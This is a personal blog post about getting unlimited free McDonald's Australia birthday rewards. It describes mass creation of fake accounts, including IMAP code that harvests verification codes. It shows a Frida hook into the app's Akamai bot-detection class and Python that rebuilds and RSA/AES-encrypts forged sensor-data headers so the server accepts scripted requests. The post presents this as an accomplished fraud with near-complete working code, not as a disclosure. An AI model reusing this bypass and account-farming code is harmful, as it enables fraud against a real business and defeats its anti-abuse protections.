Free McDonald's
2 minute read
After moving to Australia I had a lot of free time but little money. Coincidentally I lived right by a McDonald's, or Maccas as it's called there. After signing up for an account in the app I found out they offer one free cheeseburger, sundae, or medium fries for your birthday. It seemed really naive of Maccas to assume people were honest with their birth dates, and of course I wanted to take a shot at getting this food for free. It turned out to be far tougher than you might expect as they had a lot of safeguards against this, which led me into a long journey of reverse engineering and cryptography.
Tools Used
- Python: Primary programming language.
- Fiddler: For intercepting encrypted network traffic.
- Android Studio: For emulating the Maccas app.
- JADX: For decompiling the APK file.
Exploits
Creating more than one account
The first step in getting unlimited food is having unlimited birthdays. When you sign up to Maccas you are required to enter a first name, last name, and an email address. The name can be an arbitrary constant, or randomized with a library like faker. The email needs to be valid though, as a verification email is then sent with a 6-digit code that must be entered correctly in the app. I had already registered a few domains which I could use for automated account creation (using {whatever}@mydomain.com) to make accounts automatically.
As there were a lot of accounts to create it made sense to automate the process of identifying the code from the emails. This is made possible by logging in to your email server through IMAP (using Python), and recording which email address had gotten which verification code using some simple regex.
import imaplib, re
mail = imaplib.IMAP4_SSL("imap.example.com")
mail.login("you@example.com", "password") and mail.select("inbox")
email_body = str(mail.fetch(mail.search(None, "UNSEEN")[1][0].split()[-1], "(RFC822)")[1])
code = re.search(r"code is:? (\d{6})", email_body).group(1)
Although I was able to create accounts manually, it turned out that reusing the same headers from the raw network requests resulted in server refusal. I was able to identify the culprit as x-acf-sensor-data, a seemingly innocent base64 string that I initially thought was for debugging:
X-acf-sensor-data: 1,a,ORoQwK3jwApeEKx1dF+MsNk6A7l2ZLsReygIyPGzogSq33/AJKyGp9QP3UcaLcLAWHpMTCe9CDUDqZB8ml6Wv+bZo+FoZhurZpGI7TjPDt5nB9ZO+Vi9xG2hBQQT2g3qUab+VdR5XHUuj6QiAyVGPYeD9lNGxunvgq7+quWKSko=,PBureiPmg6a1CxsZ7wecGUpPHtlsknJCn52mBjdlLhfZ6PSqu68PkzfqArQgw5AaQUYaBwXh6xpiSBVuoFeluvkYJcVrgNr7QPyumhcnos+Ibl1xPnzMOKv+gKgYCLi7ad0ps1JNLkf2JDfgMGfom17j8/4Z8rBUAc5IgclOQEY=$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$0,1000,0
Understanding x-acf-sensor-data
I knew the header was used for bot detection (as changing/removing it resulted in invalid requests), and by comparing several valid requests generated by my phone and Android emulator I was able to get some context on what was changing over time.
Next step was to understand how the header was constructed by reverse engineering the app binary itself. Although I use an iPhone it's possible to reverse and debug Android applications by finding the corresponding APK file for Maccas online and installing it on a virtual machine with Android Studio.
I used JADX for this, allowing me to just open the APK file and see all of the source code (with variable names and comments removed). After spending some time familiarizing with the codebase I realized there was too much work to get a detailed understanding of the app, but I did find interesting and seemingly related code in com.mcdonalds.androidsdk.core.hydra. To really understand if this was right I would need some interactive debugging though.
From previous projects I had been using Frida for hooking into functions. It turns out it was very fitting here too, allowing me to hook into all functions under the hydra class with com.mcdonalds.androidsdk.core.hydra.*. Although most of them were unrelated, I was able to find that sensor data was collected by a function called u:
console.log("Injecting into McDUtils");
Java.perform(function () {
const akamai = Java.use("com.mcdonalds.androidsdk.core.hydra.u");
var akamai_instance;
akamai.a.overload().implementation = function () {
const akamaiData = this.a();
akamai_instance = this;
console.log("Intercepted akamai sensor data:\n" + akamaiData);
try {
setInterval(console.log(akamai_instance.a()), 5000);
} catch (error) {
console.log("Exception: " + error);
}
return akamaiData;
};
});
Sensor Data Classes
The Akamai sensor data was collected through a few classes below, paired with (what I believe is) their use:
Core Collection
u- Main sensor data generator that produces the final headerr- Aggregator collecting event counters, text input, device fingerprinting, exceptions, performance metricsq- General device sensor information
Motion & Orientation
x- Accelerometer/gyroscope data to detect device movementC- Device orientation and system uptime trackingw- Individual sensor events with timestamps and accelerometer values
User Interaction
L- Touch event trackingJ- Text input monitoring
Support
g- Encryption (AES/RSA/HMAC)G- Data encodingp- App lifecycle events
After mapping the functions and finding a way to extract the unencrypted sensor data, I reran the app and waited for more requests to come in. Some of the unencrypted sensor data logs are below:
2.2.2-1,2,-94,-100,-1,uaend,-1,2712,1440,0,100,1,en,9,0,AOSP%20on%20IA%20Emulator,unknown,ranchu,-1,com.mcdonalds.au.gma,-1,-1,ae4f454aa4111147,-1,1,1,REL,6736742,28,Google,sdk_gphone_x86_arm,dev-keys,userdebug,android-build,sdk_gphone_x86_arm-userdebug%209%20PSR1.180720.122%206736742%20dev-keys,goldfish_x86,google,generic_x86_arm,google/sdk_gphone_x86_arm/generic_x86_arm:9/PSR1.180720.122/6736742:userdebug/dev-keys,abfarm200,PSR1.180720.122,33864,924635523,833716318361-1,2,-94,-101,do_unr,dm_unr,t_en-1,2,-94,-102,-1,2,-94,-108,-1,2,-94,-117,2,20775,0,0,1,1,1,-1;3,111,0,0,1,1,1,-1;2,2355,0,0,1,1,1,-1;3,95,0,0,1,1,1,-1;2,1939,0,0,1,1,1,-1;3,55,0,0,1,1,1,-1;-1,2,-94,-111,6,180,90,-0,2;134,95.4,90,26.57,1;133,95.4,90,26.57,1;134,95.4,90,26.57,1;133,95.4,90,26.57,1;133,95.4,90,26.57,1;132,95.4,90,26.57,1;134,95.4,90,26.57,1;133,95.4,90,26.57,1;134,95.4,90,26.57,1;-1,2,-94,-109,6,-0,-0,-0,-0,-9.81,-0,0,0,0,2;134,-0,-0,-0,-0,-9.81,-0,0,0,0,1;133,-0,-0,-0,-0,-9.81,-0,0,0,0,1;134,-0,-0,-0,-0,-9.81,-0,0,0,0,1;133,-0,-0,-0,-0,-9.81,-0,0,0,0,1;133,-0,-0,-0,-0,-9.81,-0,0,0,0,1;132,-0,-0,-0,-0,-9.81,-0,0,0,0,1;134,-0,-0,-0,-0,-9.81,-0,0,0,0,1;133,-0,-0,-0,-0,-9.81,-0,0,0,0,1;134,-0,-0,-0,-0,-9.81,-0,0,0,0,1;-1,2,-94,-144,2;6.00;11311.00;2469316670;58A}4BA-1,2,-94,-142,2;47.91;180.00;1374148841;}58VPI2BA:2;90.00;90.00;1245298246;64}:2;0.00;74.05;11939298;A58Van2z}-1,2,-94,-145,2;6.00;11306.00;2469316670;58A}4BA-1,2,-94,-143,2;0.00;0.00;1245298246;64}:2;0.00;0.00;1851432905;A3}54A6}:2;0.00;0.00;1245298246;64}:2;0.00;0.00;1245298246;64}:2;-9.81;-9.81;1245298246;64}:2;0.00;0.00;1245298246;64}:2;0.00;0.00;1245298246;64}:2;0.00;0.00;1245298246;64}:2;0.00;0.00;1245298246;64}-1,2,-94,-115,0,25345,2631434581,11813816911,14445276837,26046,0,6,64,64,4000,59000,1,1675224860139076309,1667432636722,0-1,2,-94,-106,-1,0-1,2,-94,-120,-1,2,-94,-112,13,133,59,363,35800,366,24400,243,380-1,2,-94,-103,2,1667432644383;3,1667432654201;
2.2.2-1,2,-94,-100,-1,uaend,-1,2712,1440,0,100,1,en,9,0,AOSP%20on%20IA%20Emulator,unknown,ranchu,-1,com.mcdonalds.au.gma,-1,-1,ae4f454aa4111147,-1,1,1,REL,6736742,28,Google,sdk_gphone_x86_arm,dev-keys,userdebug,android-build,sdk_gphone_x86_arm-userdebug%209%20PSR1.180720.122%206736742%20dev-keys,goldfish_x86,google,generic_x86_arm,google/sdk_gphone_x86_arm/generic_x86_arm:9/PSR1.180720.122/6736742:userdebug/dev-keys,abfarm200,PSR1.180720.122,33864,-1068673093,833715954838-1,2,-94,-101,do_unr,dm_unr,t_en-1,2,-94,-102,512;515;-1,2,-94,-108,-1,2,-94,-117,2,2797,0,0,1,1,1,-1;3,79,0,0,1,1,1,-1;2,5089,0,0,1,1,1,-1;1,31,0,0,1,1,1,-1;1,17,0,0,1,1,1,-1;1,15,0,0,1,1,1,-1;1,57,0,0,1,1,1,-1;1,18,0,0,1,1,1,-1;1,18,0,0,1,1,1,-1;1,18,0,0,1,1,1,-1;1,34,0,0,1,1,1,-1;1,36,0,0,1,1,1,-1;1,36,0,0,1,1,1,-1;1,17,0,0,1,1,1,-1;1,126,0,0,1,1,1,-1;1,36,0,0,1,1,1,-1;1,18,0,0,1,1,1,-1;1,19,0,0,1,1,1,-1;1,35,0,0,1,1,1,-1;1,19,0,0,1,1,1,-1;1,17,0,0,1,1,1,-1;3,8,0,0,1,1,1,-1;2,359,0,0,1,1,1,-1;1,10,0,0,1,1,1,-1;1,17,0,0,1,1,1,-1;1,18,0,0,1,1,1,-1;1,18,0,0,1,1,1,-1;1,18,0,0,1,1,1,-1;1,6,0,0,1,1,1,-1;3,0,0,0,1,1,1,-1;2,5856,0,0,1,1,1,-1;3,68,0,0,1,1,1,-1;2,492,0,0,1,1,1,-1;3,96,0,0,1,1,1,-1;-1,2,-94,-111,196,21.6,76.23,-28.36,1;159,21.6,76.23,-28.36,1;108,21.6,76.23,-28.36,1;155,21.6,76.23,-28.36,1;103,21.6,76.23,-28.36,1;165,21.6,76.23,-28.36,1;104,21.6,76.23,-28.36,1;155,21.6,76.23,-28.36,1;107,21.6,76.23,-28.36,1;161,21.6,76.23,-28.36,1;-1,2,-94,-109,137,-0.9,-0.09,-2.48,-1.11,-9.53,-2.06,0,0,0,1;112,-0.72,-0.07,-1.99,-1.11,-9.53,-2.06,0,0,0,1;106,-0.63,-0.06,-1.73,-1.11,-9.53,-2.06,0,0,0,1;108,-0.43,-0.04,-1.19,-1.11,-9.53,-2.06,0,0,0,1;155,-0.29,-0.03,-0.8,-1.11,-9.53,-2.06,0,0,0,1;104,-0.18,-0.02,-0.51,-1.11,-9.53,-2.06,0,0,0,1;164,-0.12,-0.01,-0.32,-1.11,-9.53,-2.06,0,0,0,1;104,-0.07,-0.01,-0.2,-1.11,-9.53,-2.06,0,0,0,1;155,-0.04,-0,-0.12,-1.11,-9.53,-2.06,0,0,0,1;107,-0.03,-0,-0.07,-1.11,-9.53,-2.06,0,0,0,1;-1,2,-94,-144,2;54.00;2179.00;2996102503;ECBCBDBCBD2ACB}CBDCF2BD2BDC2B21C5AC2ACB2AgK-1,2,-94,-142,2;21.60;101.17;2834623229;14ABX[W2ST2XT3RTWULKNSV2WY3]^_]19[}:2;76.23;84.04;3710369569;15A16|}31|b:2;-93.74;-28.36;3978206777;14|}48iA-1,2,-94,-145,2;54.00;2178.00;156600123;C3BCBDBCBD2ACB}CBDCF2BD2BDC2B21C5AC2ACB2Ag-1,2,-94,-143,2;-0.90;0.11;3509898538;AKQ.ekorst3u2v}{zwx2t2u{y2ut2sup2ajot5v3u18v:2;-0.09;0.10;2289246987;AFIOTWY[2.5]EORZdZ[2.}o].X2RWXi|ph2UXZ.XY[.18]:2;-2.48;0.88;1834621461;AINX_dgi2k4lm2u2vzo3l}vnmkgfjg][bgoponmqtrp2n16m:2;-1.65;-0.66;3304288908;15a2w2y{v3t}|2xvsqskP3AD5ED20C:2;-9.78;-9.53;922925494;15}ECABKD3Chg.[WN2IHVq2tc4_[Y20Z:2;-2.06;1.83;204558968;15AXZ_eoh3e}|xwup2kgWK2JRT3UY_20b:2;-174.45;109.64;876397244;15eAmep4e}e]2ebfcdT^iesehf2evib19e:2;-201.02;116.30;1990573270;15gi}gN4gege2gnkAUh{ygegwj2gqgV19g:2;-8.89;36.18;3689382337;15L}MLU4LCLZ2LIJ.Uzt_LALVN2LR2N19L-1,2,-94,-115,0,15547,10523215669,18621878560,29145109776,19449,0,34,64,64,7000,32000,1,1770813525653535751,1667431909677,0-1,2,-94,-106,-1,0-1,2,-94,-120,-1,2,-94,-112,15,199,59,256,29200,300,31900,318,334-1,2,-94,-103,2,1667431911411;3,1667431913192;2,1667431919361;3,1667431920603;2,1667431927221;3,1667431928141;
2.2.2-1,2,-94,-100,-1,uaend,-1,2712,1440,0,100,1,en,9,0,AOSP%20on%20IA%20Emulator,unknown,ranchu,-1,com.mcdonalds.au.gma,-1,-1,ae4f454aa4111147,-1,1,1,REL,6736742,28,Google,sdk_gphone_x86_arm,dev-keys,userdebug,android-build,sdk_gphone_x86_arm-userdebug%209%20PSR1.180720.122%206736742%20dev-keys,goldfish_x86,google,generic_x86_arm,google/sdk_gphone_x86_arm/generic_x86_arm:9/PSR1.180720.122/6736742:userdebug/dev-keys,abfarm200,PSR1.180720.122,33864,-51010283,833715885368-1,2,-94,-101,do_unr,dm_unr,t_en-1,2,-94,-102,512;515;-1,2,-94,-108,-1,2,-94,-117,2,6509,0,0,1,1,1,-1;3,97,0,0,1,1,1,-1;-1,2,-94,-111,1176,360,85.25,0,1;178,360,85.25,0,1;230,360,85.25,0,1;142,360,85.25,0,1;217,360,85.25,0,1;157,360,85.25,0,1;135,360,85.25,0,1;127,360,85.25,0,1;131,360,85.25,0,1;131,360,85.25,0,1;-1,2,-94,-109,1187,-0,-4.5,-0.37,-0,-9.78,-0.81,0,0,0,1;178,-0,-3.96,-0.33,-0,-9.78,-0.81,0,0,0,1;230,-0,-1.81,-0.15,-0,-9.78,-0.81,0,0,0,1;142,-0,-0.92,-0.08,-0,-9.78,-0.81,0,0,0,1;217,-0,-0.46,-0.04,-0,-9.78,-0.81,0,0,0,1;157,-0,-0.22,-0.02,-0,-9.78,-0.81,0,0,0,1;135,-0,-0.13,-0.01,-0,-9.78,-0.81,0,0,0,1;127,-0,-0.08,-0.01,-0,-9.78,-0.81,0,0,0,1;131,-0,-0.05,-0,-0,-9.78,-0.81,0,0,0,1;131,-0,-0.03,-0,-0,-9.78,-0.81,0,0,0,1;-1,2,-94,-144,2;101.00;2100.00;1161570487;aCDBD2B3A}DBACD2ACB2A2B3AB4A-1,2,-94,-142,2;360.00;360.00;572016073;2}{zxw2v3tupokheca][XVTQOMJGECA:2;85.25;85.25;447273771;32}:2;0.00;0.00;4004560117;2ABDEFGH2IJHMNRUXZ.`begilnpsuxz}-1,2,-94,-145,2;101.00;2099.00;1161570487;aCDBD2B3A}DBACD2ACB2A2B3AB4A-1,2,-94,-143,2;0.00;0.00;447273771;32}:2;-4.50;0.00;1542173402;AHdpvz2{12|12}:2;-0.37;0.00;706093692;AHdpvz2{19|4}|:2;0.00;0.00;447273771;32}:2;-9.78;-9.78;447273771;32}:2;-0.81;-0.81;447273771;32}:2;0.00;0.00;447273771;32}:2;0.00;0.00;447273771;32}:2;0.00;0.00;447273771;32}-1,2,-94,-115,0,6611,5023939011,5379180886,10403126508,13265,0,2,32,32,7000,51000,1,860321757225278419,1667431770736,0-1,2,-94,-106,-1,0-1,2,-94,-120,-1,2,-94,-112,15,199,59,256,29200,300,31900,318,334-1,2,-94,-103,3,1667431771741;2,1667431773379;3,1667431775004;2,1667431781675;3,1667431783153;
Clearly there was some meaningful data here, although it's not at all clear what it all represents. To find out more it was necessary to look into the static binary again. Below is the decompiled smali code from the official MyMaccas APK, with my guesses for variable names inserted.
public final String compile_sensor_data() throws Exception {
// ...
// 54 lines hidden
// ...
String plain_sensor_data = "2.2.2-1,2,-94,-100," + high_entropy_data +
"-1,2,-94,-101," + orientation_sensor_status + "," + motion_sensor_status + ",t_en" +
"-1,2,-94,-102," + maybe_text_id_data +
"-1,2,-94,-108," + key_events +
"-1,2,-94,-117," + touch_events +
"-1,2,-94,-111," + Orientation.sensor_data +
"-1,2,-94,-109," + Movement.sensor_data +
"-1,2,-94,-144," + Orientation.events +
"-1,2,-94,-142," + orientation_something +
"-1,2,-94,-145," + Movement.events +
"-1,2,-94,-143," + movement_something +
"-1,2,-94,-115," + misc_stats +
"-1,2,-94,-106," + general_sensor_info.status + "," + general_sensor_info.maybe_run_counter +
"-1,2,-94,-120," + sensor_data.exception_history +
"-1,2,-94,-112," + sensor_data.device_performance_data +
"-1,2,-94,-103," + activity_history_copy;
// ...
// 8 lines hidden
// ...
String encrypted_sensor_data = d.b().encrypt_sensor_data(plain_sensor_data);
if (orientation_copy.events.longValue() >= 32 || motion.events.longValue() >= 32) {
C0133e.d().set_enc_sensor_data_cache(encrypted_sensor_data);
}
return encrypted_sensor_data;
}
Here we can finally see what all the fields mean, and we get to know how the fields are being split up with hardcoded strings as delimiters. What's left at this point is generating valid custom data, and encrypting it correctly to a format that the server accepts.
Generating Valid Data
Looking further into the smali code, following the data collection process backwards, we find how the high_entropy_data is generated:
high_entropy_data = re.search(
'2.2.2-1,2,-94,-100,(.*?)-1,2,-94,-101,', sensor_data)
.group(1)
.split(',')
high_entropy_data = {
'display_height': high_entropy_data[3],
'display_width': high_entropy_data[4],
'unusual_battery_status': high_entropy_data[5],
'battery_level': high_entropy_data[6],
'phone_orientation': high_entropy_data[7],
'device_language': high_entropy_data[8],
'android_release': high_entropy_data[9],
'accelerometer_rotation': high_entropy_data[10],
'phone_model': high_entropy_data[11],
'phone_bootloader': high_entropy_data[12],
'phone_hardware': high_entropy_data[13],
'package_name': high_entropy_data[15],
'android_uid': high_entropy_data[18],
'hardware_keyboard': high_entropy_data[20],
'development_settings': high_entropy_data[21],
'android_version_codename': high_entropy_data[22],
'android_version_incremental': high_entropy_data[23],
'android_version_sdk': high_entropy_data[24],
'phone_manufacturer': high_entropy_data[25],
'phone_product': high_entropy_data[26],
'android_build_tags': high_entropy_data[27],
'android_build_type': high_entropy_data[28],
'user': high_entropy_data[29],
'build_id_string': high_entropy_data[30],
'hardware_board': high_entropy_data[31],
'device_carrier': high_entropy_data[32],
'device_design_name': high_entropy_data[33],
'build_fingerprint': high_entropy_data[34],
'host': high_entropy_data[35],
'build_id': high_entropy_data[36],
'unknown': high_entropy_data[37],
'random_int': high_entropy_data[38],
'half_timestamp': high_entropy_data[39],
}
Interesting to note is that there is a random int included, and a (half) timestamp. This suggests that we could get away with just updating these values to generate a new valid header string! That would be convenient as we could reuse all other "real" values, without the need for perfect replication of the device.
Now we just have to compile all the data into a string, in the same order as we found it in the smali code. Here is the Python function that does that:
def encode(
high_entropy_data: str | None,
orientation_status: str | None,
movement_status: str | None,
text_id_data: str | None,
key_events: str | None,
touch_events: list | None,
orientation_data: list | None,
movement_data: list | None,
orientation_events: str | None,
orientation_events_2: str | None,
movement_events: str | None,
movement_events_2: str | None,
misc_stats: str | None,
status_flag: str | None,
num_runs: str | None,
exceptions: str | None,
performance_data: str | None,
activity_history: str | None,
) -> str:
return "2.2.2-1,2,-94,-100," + high_entropy_data + \
"-1,2,-94,-101," + (orientation_status + "," + movement_status + ",t_en") + \
"-1,2,-94,-102," + text_id_data + \
"-1,2,-94,-108," + key_events + \
"-1,2,-94,-117," + ';'.join(touch_events) + \
"-1,2,-94,-111," + ';'.join(orientation_data) + \
"-1,2,-94,-109," + ';'.join(movement_data) + \
"-1,2,-94,-144," + orientation_events + \
"-1,2,-94,-142," + orientation_events_2 + \
"-1,2,-94,-145," + movement_events + \
"-1,2,-94,-143," + movement_events_2 + \
"-1,2,-94,-115," + misc_stats + \
"-1,2,-94,-106," + status_flag + "," + num_runs + \
"-1,2,-94,-120," + exceptions + \
"-1,2,-94,-112," + performance_data + \
"-1,2,-94,-103," + activity_history
Encrypting the Data
I looked at the decompiled code again and found the encryption logic under com.salesforce.marketingcloud.tozny.AesCbcWithIntegrity. Even though the decompiled names were obfuscated, the constants at the top of the class told me the important details:
public static final String CIPHER_TRANSFORMATION = "AES/CBC/PKCS5Padding";
public static final String HMAC_ALGORITHM = "HmacSHA256";
public static final int AES_KEY_LENGTH_BITS = 128;
public static final int HMAC_KEY_LENGTH_BITS = 256;
public static final int IV_LENGTH_BYTES = 16;
This revealed the encryption scheme:
- AES-128 in CBC mode with PKCS5 padding for encrypting the sensor data
- HMAC-SHA256 for message authentication (integrity check)
- A 16-byte IV (initialization vector)
Here the CipherTextIvMac class showed me the output format: it combined the IV, ciphertext, and MAC into a colon-separated Base64 string. The encrypt() function confirmed the flow: generate a random IV, encrypt with AES-CBC, compute HMAC over IV + ciphertext, bundle everything together.
For key exchange, I traced the encryption keys and found they were wrapped with RSA (using a hardcoded public key embedded in the app). This allows the server to decrypt the AES and HMAC keys.
With this understanding, I replicated the process in Python:
def encrypt(encoded_data: str, execution_time_1: int = 0, execution_time_2: int = 0, execution_time_3: int = 0) -> str:
# Setup AES128
aes_key = os.urandom(16)
aes_iv = os.urandom(16)
AESCipher = AESCBCPKCS5Padding(aes_key, 'b64', aes_iv)
# Setup HMAC
hmac_key = os.urandom(32)
# Setup RSA
public_key = base64.b64decode(constants.RSA_PUBLIC_KEY)
public_key = RSA.import_key(public_key)
cipher = PKCS1_v1_5.new(public_key)
# Encrypt keys
enc_aes_key = cipher.encrypt(aes_key)
enc_aes_key = base64.b64encode(enc_aes_key).decode('ascii')
enc_hmac_key = cipher.encrypt(hmac_key)
enc_hmac_key = base64.b64encode(enc_hmac_key).decode('ascii')
# Encrypt data with AES
enc_sensor_data = AESCipher.encrypt(encoded_data)
enc_data = aes_iv + base64.b64decode(enc_sensor_data)
# Get HMAC digest
hmac_digest = hmac.new(hmac_key, enc_data, hashlib.sha256)
hmac_digest = hmac_digest.digest()
# Base64 encode
b64_enc_data = base64.b64encode(enc_data + hmac_digest).decode('ascii')
return "1,a," + enc_aes_key + "," + enc_hmac_key + "$" + b64_enc_data + "$" + str(execution_time_1) + "," + str(execution_time_2) + "," + str(execution_time_3)
Interestingly it works by generating a random AES key, encrypting the data with AES, and then encrypting the AES key and IV with a hardcoded public RSA key. A HMAC is computed over the encrypted data and the AES key is encrypted with the same RSA key. This allows the server to decrypt the AES and HMAC keys later and verify integrity.
At this point I was able to generate a valid header string and encrypt the sensor data. I could then send the data to the server and it would accept it!
Putting It All Together
Now that we're able to generate unlimited sensor data that bypasses the Akamai bot protection I just had to create a nice frontend for it, where I would be able make an order and get the order number back.


Here is how the final frontend would look. You first select the restaurant you would like to order at (distance calculated by doing a lookup through McDonald's private API that we reverse engineered), and then selecting which items you want to order. And that's it! When the order is completed in the store, you will see the order number for you to use when picking it up.
